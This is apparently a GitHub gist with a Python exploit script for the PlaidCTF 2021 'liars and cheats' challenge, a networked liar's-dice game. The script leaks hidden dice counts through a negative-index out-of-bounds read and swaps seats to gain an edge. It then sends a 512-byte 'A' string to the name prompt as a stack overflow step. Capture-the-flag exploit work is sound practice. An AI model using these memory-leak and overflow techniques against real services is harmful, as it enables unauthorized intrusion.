Skip to content

Instantly share code, notes, and snippets.

@jduck
Created April 18, 2021 21:32
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jduck/ff2b785639a0c218e69dbfe71329916c to your computer and use it in GitHub Desktop.
Save jduck/ff2b785639a0c218e69dbfe71329916c to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
#
# liars and cheats plaidctf 2021 challenge
#
# -jduck
import socket
import select
import sys
import time
import random
class Liar():
def __init__(self, sd, player_cnt, do_swap = False):
self.sd = sd
#self.interactive()
#sys.exit(0)
self.verbose = 1
# game variables
self.state = 'initial'
self.player_cnt = player_cnt
self.our_pnum = self.player_cnt - 1
self.round_num = 0
self.cur_player = 0
# everyones dice counts (tracked locally)
self.dice_cnts = []
self.init_dice_cnts()
# our dice
self.dice_faces = []
# exploitation logic
self.face_cnt_off = -8
self.swap_to = None
if do_swap:
self.swap_to = 0
def read_until_timeout(self, timeout=0.1):
rs = time.time()
ret = ''
while True:
r,w,x = select.select([ self.sd ], [ ], [ ], timeout)
if self.sd in r:
buf = self.sd.recv(1024)
ret += buf
re = time.time()
if re - rs >= timeout:
break
if len(ret) == 0:
return None
return ret
def send_cmd(self, buf, quiet=False):
if not quiet:
print '<-- %s' % (repr(buf))
self.sd.sendall(buf)
def set_state(self, new_state):
if self.verbose > 1:
print('[*] changing state %s -> %s' % (self.state, new_state))
self.state = new_state
#
# convert horizontal graphical dice to number array / poor mans OCR
#
def decode_dice(self, num_dice, dice_lines):
self.dice_faces = []
tops, mids, bots = dice_lines
for idx in range(0, num_dice):
self.dice_faces.append(0)
# check mid line first
if mids[idx][1] == 'o':
# this can only be 1, 3, or 5
if tops[idx][0] == 'o':
self.dice_faces[idx] = 5
elif tops[idx][2] == 'o':
self.dice_faces[idx] = 3
else:
self.dice_faces[idx] = 1
else:
# empty mid is 2, 4, 6
if mids[idx][0] == 'o':
self.dice_faces[idx] = 6
else:
self.dice_faces[idx] = 2
if tops[idx][2] == 'o':
self.dice_faces[idx] = 4
#
# figure out how to proceed when it is our turn
#
# when we have more than 5 dice (and no on else does) we have a severe
# advantage. we can cause other players to call 'spot-on' incorrectly --
# ultimately leading to their elimination.
#
# our strategy is to increase our dice count whenever we can, and if not
# then we want to decrease the other player's count.
#
def take_turn(self, bcnt, bface):
# are we being forced to bet? if so we'll have to do our best... no option to quit.
if bcnt == -1 and bface == -1:
if self.have_advantage():
# use the face for the 6th dice
bet_face = self.dice_faces[5]
bet_cnt = self.face_cnts[bet_face - 1]
print(' >:D FORCED BET: %d of %d' % (bet_cnt, bet_face))
return [ 0, bet_cnt, bet_face ]
# min bet
return [ 0, 1, 1 ]
return self.bet_max()
# if it is after round 0 and we lost advtange, start over
if self.round_num > 0 and not self.have_advantage():
print('[!] We lost advantage! Starting over...')
return [ 3, -1, -1 ]
# do we have advantage? if so we will act differently.
bet_face = -1
bet_cnt = -1
if self.have_advantage():
# we can only call spot-on if we have perfect information (advantage)
if bcnt == self.face_cnts[bface - 1]:
if bface not in self.dice_faces[5:]:
print(' >:D count matches face_cnts entry - Calling spot on!')
return [ 2, bet_cnt, bet_face ] # 31337, 31337 ]
if self.dice_faces[5] >= bface:
bet_face = self.dice_faces[5]
if self.face_cnts[bet_face - 1] >= bcnt:
bet_cnt = self.face_cnts[bet_face - 1]
if bet_face == bface and bet_cnt == bcnt:
# oops. forget it
bet_face = -1
bet_cnt = -1
if bet_face != -1 and bet_cnt != -1:
print(' >:D BET: %d of %d' % (bet_cnt, bet_face))
return [ 0, bet_cnt, bet_face ]
# if we don't have advantage, or our advantage betting strategy didn't work out, fall back
if bet_face == -1 or bet_cnt == -1:
# old logic based on assumption of correctness of spot-on/liar tally
if bcnt == self.face_cnts[bface - 1] and not self.have_extra_dice():
print(' count matches face_cnts entry - Calling spot on!')
return [ 2, bet_cnt, bet_face ]
"""
elif bcnt > self.face_cnts[bface - 1]:
print(' :-/ count is larger, calling liar!')
return [ 1, bet_cnt, bet_face ]
"""
# figure out what we should bet to be able to call 'spot-on' on our next turn
# run through what each player will bet... to see how we can influence it.
#self.predict_bets(bcnt, bface)
bet_face = bface
bet_cnt = bcnt + 1
print(' BETTING: %d of %d' % (bet_cnt, bet_face))
if self.face_cnts[bface - 1] - bcnt > self.player_cnt:
print('eureka')
return [ 0, bet_cnt, bet_face ]
# fallback to manual data entry
return [ 0, -1, -1 ]
def predict_bets(self, bet_cnt, bet_face):
done = False
for face in range(bet_face, 7):
print('\n[*] Bet face %d' % face)
fc = self.face_cnts[face - 1]
for cnt in range(bet_cnt, fc+1):
print(' Predicting bets after [ %d, %d ]' % (cnt, face))
tcnt = cnt
tface = face
for i in range(0, self.player_cnt):
turn = self.vanilla_turn(tcnt, tface)
print(' prediction: player %d will bet %s' % (i, turn))
tcmd, tcnt, tface = turn
if tcmd != 0:
break
def vanilla_turn(self, bcnt, bface):
if self.face_cnts[bface - 1] < bcnt:
return [ 1, -1, -1 ]
if self.face_cnts[bface - 1] == bcnt:
return [ 2, bcnt, bface ]
return self.vanilla_bet(bcnt, bface)
def vanilla_bet(self, bcnt, bface):
if self.face_cnts[bface - 1] < bcnt + 1:
bcnt += 1
nface = -1
for tface in range(bface, 6):
nface = tface
if self.face_cnts[tface] >= bcnt:
break
if nface <= 5:
return [ 0, bcnt, nface ]
else:
return [ 2, -1, -1 ]
return [ 0, bcnt + 1, bface ]
def bet_max(self):
maxcnt = 0
maxidx = -1
for idx in range(0, len(self.face_cnts)):
fc = self.face_cnts[idx]
if fc > maxcnt:
maxcnt = fc
maxidx = idx
bet_face = maxidx + 1
bet_cnt = maxcnt
print(' BET MAX: %d of %d' % (bet_cnt, bet_face))
return [ 0, bet_cnt, bet_face ]
#
# the main state machine
#
def event_loop(self):
buf = ''
while self.state != 'finished':
newbuf = self.read_until_timeout()
if newbuf != None:
#print '--> %s' % (repr(newbuf))
buf += newbuf
# process the input in lines
for line in buf.splitlines(True):
# empty lines are not useful
if line == '\n':
pass
# no ansi colors, thx
elif '\x1b' in line:
pass
# these lines are cruft and never printed
elif line in [
'The game works like this: \n',
'Each player starts the game with the same number of dice. At the beginning of each round, all players roll their dice. \n',
'Each player keeps their dice values a secret. Players take turns placing "bets" about all the dice rolled for that round. \n',
'A bet consists of a die face (1-6) and the number of dice that player believes were rolled. Once a player places their bet, \n',
'the next player may decide to raise the bet, call the last player a liar, or say that the last bet was "spot on." \n',
' 1) If the player chooses to raise the bet, they must either increase the number of dice, the die face value, or both. They may not decrease either value. \n',
' 2) If they believe the last bet was wrong, then all players reveal their dice. If the bet was valid, the challenger loses a die. Otherwise, the better loses a die. \n',
' 3) If they believe the last bet was exactly correct, and they are right, they are rewarded with an extra die. \n',
'Once a player has no more dice, they are eliminated. The last player standing, wins. \n',
'Have fun! And remember, no cheating!\n',
'0) Roll to start round\n',
'1) Check player\'s number of dice\n',
'2) Change your spot\n',
'3) Number of players left\n',
'0) Bet\n',
'1) Liar\n',
'2) Spot On\n',
'1) Print dice vertically\n',
'2) Print dice horizontally\n',
'Your dice:\n',
'It\'s time to start the round!\n',
# these are important but ignored as things are working well
'New round!\n',
'How many players total (4-10)? ',
'How many players total (4-10)? \n',
'4) Leave\n',
]:
pass
elif self.state in [ 'snarf_dice', 'betting', 'leak_facecnts' ]:
pass
elif self.verbose > 0:
print '--> %s' % (repr(line))
#
# process the input depending on the current state
#
if self.state == "initial":
if line.startswith('How many players total (4-10)? '):
self.send_cmd('%d\n' % self.player_cnt, True)
elif line == 'New round!\n':
print('\n[*] Round %d - Player dice counts: %s' % (self.round_num, repr(self.dice_cnts)))
# NOTE: dont increase round number when we get this line in initial state.
# further rounds will get this line in "post_betting" state
self.set_state("leak_facecnts")
self.face_cnts = []
elif self.state == 'leak_facecnts':
if line == '4) Leave\n':
# send read player cmd
if len(self.face_cnts) < 6:
self.send_cmd('1\n', True)
elif line == 'Player? ':
# supply player number to read
if len(self.face_cnts) < 6:
if len(self.face_cnts) < 1:
print('[*] Trying face_cnt_off %d' % self.face_cnt_off)
self.send_cmd('%d\n' % (self.face_cnt_off + len(self.face_cnts)), True)
elif 'They have ' in line and ' dice\n' in line:
# parse read player cmd response
numstr = line[10:]
numstr = numstr[:numstr.index(' ')]
num = int(numstr)
print('[*] face_cnts[%d] = %d' % (len(self.face_cnts), num))
if num >= 0 and num <= 64:
self.face_cnts.append(num)
elif len(self.face_cnts) < 1:
self.face_cnt_off -= 8
# finished reading face counts?
if len(self.face_cnts) == 6:
print('[*] face_cnts: %s' % (repr(self.face_cnts)))
if self.swap_to != None:
self.set_state('swap_players')
else:
self.set_state('start_round')
elif self.state == 'swap_players':
if line == '4) Leave\n':
# send "swap spot" command
self.send_cmd('2\n', True)
elif line == 'Which player do you want to switch with? ':
"""
npnum = -1
if self.round_num == 0:
print(' - next player to act: %d' % self.cur_player)
# the number of turns required to get to "spot-on"
treq = self.face_cnts[0]
print(' - treq: %d' % treq)
# have to go around?
if treq > self.player_cnt:
treq = treq % self.player_cnt
print(' - treq2: %d' % treq)
npnum = self.cur_player + treq
print(' - npnum: %d' % npnum)
if npnum > self.player_cnt:
npnum -= self.player_cnt
print(' - npnum: %d' % npnum)
else:
npnum = self.player_cnt - 1
self.send_cmd('%d\n' % npnum, False)
"""
self.send_cmd('%d\n' % self.swap_to, False)
self.swap_to = None
elif line.startswith('You are now Player '):
idx = line.index('Player ')
pnumstr = line[idx + 7]
pnum = int(pnumstr)
# swap dice counts too
pnum_dc = self.dice_cnts[pnum]
our_dc = self.dice_cnts[self.our_pnum]
self.dice_cnts[pnum] = our_dc
self.dice_cnts[self.our_pnum] = pnum_dc
# update our pnum
self.our_pnum = pnum
self.set_state('start_round')
elif self.state == 'start_round':
if line == '4) Leave\n':
# send "start round" command
self.send_cmd('0\n', True)
elif line == '2) Print dice horizontally\n':
# show our dice horizontally
self.send_cmd('2\n', True)
elif line == 'Your dice:\n':
# move to snarf em up
self.set_state('snarf_dice')
dice_lines = []
elif self.state == 'snarf_dice':
if '-----' in line:
if len(dice_lines) == 3:
# bottom line, extract values from dice
self.decode_dice(num_dice, dice_lines)
print('[*] Our dice (player %d): %s' % (self.our_pnum, repr(self.dice_faces)))
self.set_state('betting')
else:
# top line, count number of dice
tb_parts = line.split()
num_dice = len(tb_parts)
#print('[*] We have %d dice' % (self.num_dice))
#print(' %s' % repr(tb_parts))
elif '|' in line:
# should be three meaty lines
tb_parts = line.split('|')
nparts = []
for p in tb_parts:
# only keep the part between |xxx|
if len(p) == 3:
nparts.append(p)
print(' %s' % repr(nparts))
dice_lines.append(nparts)
elif self.state == 'betting':
#print(repr(line))
if 'Player ' in line and 's turn\n' in line:
# get the number of the player whose turn it is
pnumstr = line[7:8]
pnum = int(pnumstr)
self.cur_player = pnum
elif 'Bet ' in line:
# extract the bet value made by a player
bnums = []
bstrs = line[4:].split()
bnums.append(int(bstrs[0]))
bnums.append(int(bstrs[1][0]))
print('[*] Player %d bets %s' % (pnum, repr(bnums)))
elif line == '3) Leave\n':
# it's our turn. let's figure out what to bet.
# this is the last bet
cnt,face = bnums
print('[*] Our turn! Current bet is %d of %d' % (cnt, face))
# figure out what to do!
cmd, bet_cnt, bet_face = self.take_turn(cnt, face)
self.send_cmd('%d\n' % cmd, True)
if (cmd == 3):
self.set_state('post_betting')
continue
elif line == 'You must bet\n':
# bet with no restrictions! (first to bet)
print('[*] Forced to bet!')
cmd, bet_cnt, bet_face = self.take_turn(-1, -1)
if cmd != 0:
raise Exception('[!] Unable to respond to forced bet with non-bet command %d' % cmd)
elif line == 'Die face? ':
#cmd = '%d\n' % random.randint(1, 6)
if bet_face == -1:
print(repr(line))
cmd = sys.stdin.readline()
else:
cmd = '%d\n' % bet_face
self.send_cmd(cmd, True)
elif line == 'Number of dice? ':
#cmd = '%d\n' % random.randint(1, 32)
if bet_cnt == -1:
print(repr(line))
cmd = sys.stdin.readline()
else:
cmd = '%d\n' % bet_cnt
self.send_cmd(cmd, True)
# these two special cases means someone called spot-on/liar
elif line == 'Called spot on.\n':
print('[*] Player %d called spot on' % pnum)
self.set_state('post_betting')
elif line == 'Called liar.\n':
print('[*] Player %d called liar' % pnum)
self.set_state('post_betting')
elif self.state == 'post_betting':
#'That was spot on! Player 9 gets an extra die!\n'
#'That was not spot on! Player 4 loses a die.\n'
#'That was a lie! There were only 9 1s on the table. Player 9 loses a die.\n'
if line.startswith('That was '):
# someone (maybe even us) guessed spot on - take note of add or sub or dice count
addend = 0
if line[9] == 'n':
addend = -1
elif line[9] == 's':
addend = 1
elif line[9] == 'a':
addend = -1
idx = line.index('Player ')
pnumstr = line[idx + 7:]
pnumstr = pnumstr[:pnumstr.index(' ')]
pnum = int(pnumstr)
#print('[*] dice_cnts[%d] += %d' % (pnum, addend))
self.dice_cnts[pnum] += addend
elif line == 'New round!\n':
# during post betting the round ended. reset the round vars and increment round counter
self.round_num += 1
print('\n[*] Round %d - Player dice counts: %s' % (self.round_num, repr(self.dice_cnts)))
self.set_state('leak_facecnts')
self.face_cnts = []
elif line == 'What is your name? ':
print('[*] Sending lots of AAAAAAA....')
self.send_cmd('A' * (512) + '\n', True)
#self.player_cnt = 10
#self.interactive()
return
elif line == 'Play again (y/n)? ':
# we quit for some reason. let's go again!
self.send_cmd('y\n', self.verbose > 0)
self.round_num = 0
if self.player_cnt == 10:
self.swap_to = 0
self.set_state('initial')
self.init_dice_cnts()
"""
self.send_cmd('n\n', self.verbose > 0)
self.set_state('finished')
"""
# remove this line from the buffer
buf = buf[len(line)+1:]
def init_dice_cnts(self):
self.dice_cnts = []
for i in range(0, self.player_cnt):
self.dice_cnts.append(5)
def have_extra_dice(self):
for i in range(0, self.player_cnt):
if self.dice_cnts[i] > 5:
return True
return False
def have_advantage(self):
if self.dice_cnts[self.our_pnum] <= 5:
return False
if self.player_cnt == 10:
return True
for i in range(0, self.player_cnt):
if i == self.our_pnum:
continue
if self.dice_cnts[i] > 5:
return False
return True
def interactive(self):
timeout = 0.1
while True:
r,w,x = select.select([ self.sd, sys.stdin ], [ ], [ ], timeout)
#print(repr(r))
if self.sd in r:
buf = self.sd.recv(1024)
if buf == None or len(buf) < 1:
return
print(buf)
if sys.stdin in r:
buf = sys.stdin.readline()
if buf.startswith('exit'):
return
self.sd.sendall(buf)
#host = 'liars.pwni.ng'
host = '127.0.0.1'
sd = socket.socket()
sd.connect((host, 2018))
# game one, win and prime the stack
print('\n[*] Entering GAME 1')
liar = Liar(sd, 7)
liar.event_loop()
# game two, try to get someone with 6 while we have 7. swap places twice.
print('\n[*] Entering GAME 2')
liar = Liar(sd, 10, True)
liar.send_cmd('y\n', False)
liar.event_loop()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment